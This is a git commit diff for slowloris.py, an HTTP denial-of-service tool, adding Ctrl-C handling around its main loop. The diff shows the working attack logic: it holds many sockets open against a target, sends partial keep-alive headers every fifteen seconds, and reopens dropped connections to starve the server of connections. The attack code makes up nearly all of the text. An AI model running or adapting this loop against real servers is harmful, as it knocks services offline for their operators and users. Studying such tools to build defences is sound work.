Update slowloris.py

Handle Ctrl-C exceptions
This commit is contained in:
FateWalker 2018-09-27 18:09:45 +08:00 committed by Gökberk Yaltıraklı
parent a89668c444
commit 59fc07d0cb
1 changed files with 20 additions and 15 deletions

View File

@ -109,22 +109,27 @@ def main():
list_of_sockets.append(s)
while True:
logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
for s in list(list_of_sockets):
try:
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
except socket.error:
list_of_sockets.remove(s)
try:
logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
for s in list(list_of_sockets):
try:
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
except socket.error:
list_of_sockets.remove(s)
for _ in range(socket_count - len(list_of_sockets)):
logging.debug("Recreating socket...")
try:
s = init_socket(ip)
if s:
list_of_sockets.append(s)
except socket.error:
break
time.sleep(15)
for _ in range(socket_count - len(list_of_sockets)):
logging.debug("Recreating socket...")
try:
s = init_socket(ip)
if s:
list_of_sockets.append(s)
except socket.error:
break
time.sleep(15)
except (KeyboardInterrupt, SystemExit):
print("\nStopping Slowloris...")
break
if __name__ == "__main__":
main()